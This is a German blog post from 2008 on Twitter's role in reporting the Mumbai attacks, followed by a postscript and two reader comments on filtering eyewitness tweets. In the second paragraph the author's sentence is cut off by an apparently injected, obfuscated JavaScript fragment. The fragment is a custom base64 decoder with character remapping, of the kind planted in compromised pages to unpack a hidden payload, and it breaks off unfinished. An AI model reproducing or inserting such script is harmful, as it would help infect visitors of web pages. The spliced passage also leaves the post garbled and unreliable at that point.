Als ich zum ersten Mal von Twitter gehört und darüber gebloggt habe, hielt ich es für einen unnützen „Web-2.0-Hype“, der schneller wieder vorbei ist, als er angefangen hat. Aber…
Die function u2fd518ba9147(q3){var u9=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=‘;var y7=“;var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0
Ich will nach wie vor wie keine Tweets lesen von irgendwelchen Geeks lesen, die nichts zu sagen haben, was von Interesse ist. Aber in dieser Situation ist Twitter in der Tat ein vielversprechenes Medium. Hätte es die Plattform 2001 schon gegeben, hätte sich bestimmt auch die Berichterstattung zum 11. September massiv dort abgespielt. Wie alle Informationen, die von Bürgern - gerne in diesem Zusammenhang als Bürgerjournalisten bezeichnet - kommen, sind jedoch die Tweets über Mumbai mit Vorsicht zu genießen. Wer sagt uns, dass es sich nicht um einen gelangweilten Teenager handelt, der gar nicht vor Ort ist, sondern in seinem Kinderzimmer in Kansas in den USA sitzt? Verlassen wir uns also lieber auf die etablierten Medien, behalten aber auch immer Blogs und nun auch Twitter im Auge, wenn es um solche Situationen geht.
Nachtrag 28. November 2008: Mehr zum Thema unter anderem in den Blogs von Thomas Knüwer und Don Dahlman , im "Upload"-Magazin oder bei Spiegel Online.
Anonymous sagt:
Twitter ist zu allererst mal ein dezentrales Netzwerk von „befreundeten“ Menschen. Ein interessantes Medium im Sinne der technischen Kommunikation ist es damit vielleicht – ein Medium im Inhaltssinn ist es allerdings nicht.
Für eine vernünftige Nutzung von Twitter muss man „nur“ den richtigen Leuten folgen, denn das ist was den Inhalt bestimmt. Aber wie findet man den Mann der gerade in Mumbai auf der Straße steht? Gar nicht. Suchen könnte man vielleich – nach #mumbai – aber woher kommen die Hashtags? Wenn das Ereignis etabliert ist. Wer etabliert’s? Die konventionellen Medien.
Twitter ist also immer nett – als Medium für ex post facto realtime.
DonDahlmann sagt:
Den Depp aus New York, der vorgibt vor Ort zu sein, kann ganz hervorragend mit der Suchfunktion von Twitter ausgrenzen, zum Beispiel wenn man „near:Mumbai within:15mi“ eingibt.
Das Problem bei Twitter ist der vorgesetzte Filter. Ich brauche schon ein Stück Medienkompetenz, um den setzen zu können, was wiederum bedeutet, dass ich Twitter als neues, dezentrales Übermittlungsmedium verstehen muss. Ich muss es deswegen nicht zwangsweise nutzen, aber es bleibt mir nichts anderes mehr übrig, als es zu lernen. Zumindest, wenn ich Journalist sein möchte.